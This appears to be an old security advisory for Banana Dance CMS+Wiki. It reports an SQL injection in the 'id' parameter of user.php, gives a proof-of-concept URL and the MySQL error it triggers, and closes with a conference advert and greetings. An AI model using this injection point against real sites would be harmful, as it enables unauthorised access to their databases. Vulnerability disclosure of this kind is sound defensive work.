65 lines
No EOL
1.4 KiB
Text
65 lines
No EOL
1.4 KiB
Text
+-----------------------+
|
|
| Banana Dance CMS+Wiki |
|
|
+-----------------------+
|
|
|
|
Vulnerable Web-App : Banana Dance CMS+Wiki
|
|
Vulnerability : SQLi
|
|
Author : Aodrulez.
|
|
Email : f3arm3d3ar@gmail.com
|
|
Google-Dork : :) Guess it.
|
|
Tested on : Ubuntu 10.04
|
|
Web-App : http://www.doyoubananadance.com/
|
|
Download Link : http://www.doyoubananadance.com/functions/dl.php?file=4e84e50f89bf7
|
|
|
|
|
|
+---------+
|
|
| Details |
|
|
+---------+
|
|
|
|
1] SQLi
|
|
Exploit : http://localhost/user.php?id=1'[sqli]
|
|
|
|
Error:
|
|
------
|
|
Invalid query:
|
|
SELECT `key`,`value` FROM `bd_user_data` WHERE `user_id`='1''
|
|
Error: You have an error in your SQL syntax; check the manual
|
|
that corresponds to your MySQL server version for the right
|
|
syntax to use near ''1''' at line 1
|
|
|
|
|
|
|
|
+----------+
|
|
| MalCon |
|
|
+----------+
|
|
(International Malware Conference)
|
|
|
|
The CFP for MalCon-2011 is ON!
|
|
If you think you are good enough, try cracking our
|
|
'Capture the Mal Challenge-2011' online.
|
|
Open to everyone!
|
|
|
|
For more details, visit http://malcon.org
|
|
|
|
|
|
|
|
|
|
+-------------------+
|
|
| Greetz Fly Out To |
|
|
+-------------------+
|
|
|
|
|
|
1] Amforked() : My Mentor.
|
|
2] The Blue Genius : My Boss.
|
|
3] str0ke (milw0rm)
|
|
4] www.orchidseven.com
|
|
5] www.malcon.org
|
|
6] www.isac.org.in
|
|
7] www.nsd.org.in
|
|
8] LiquidWorm
|
|
|
|
+-------+
|
|
| Quote |
|
|
+-------+
|
|
|
|
"Microsoft is not the answer. Microsoft is the question. NO is the answer." - Erik Naggum |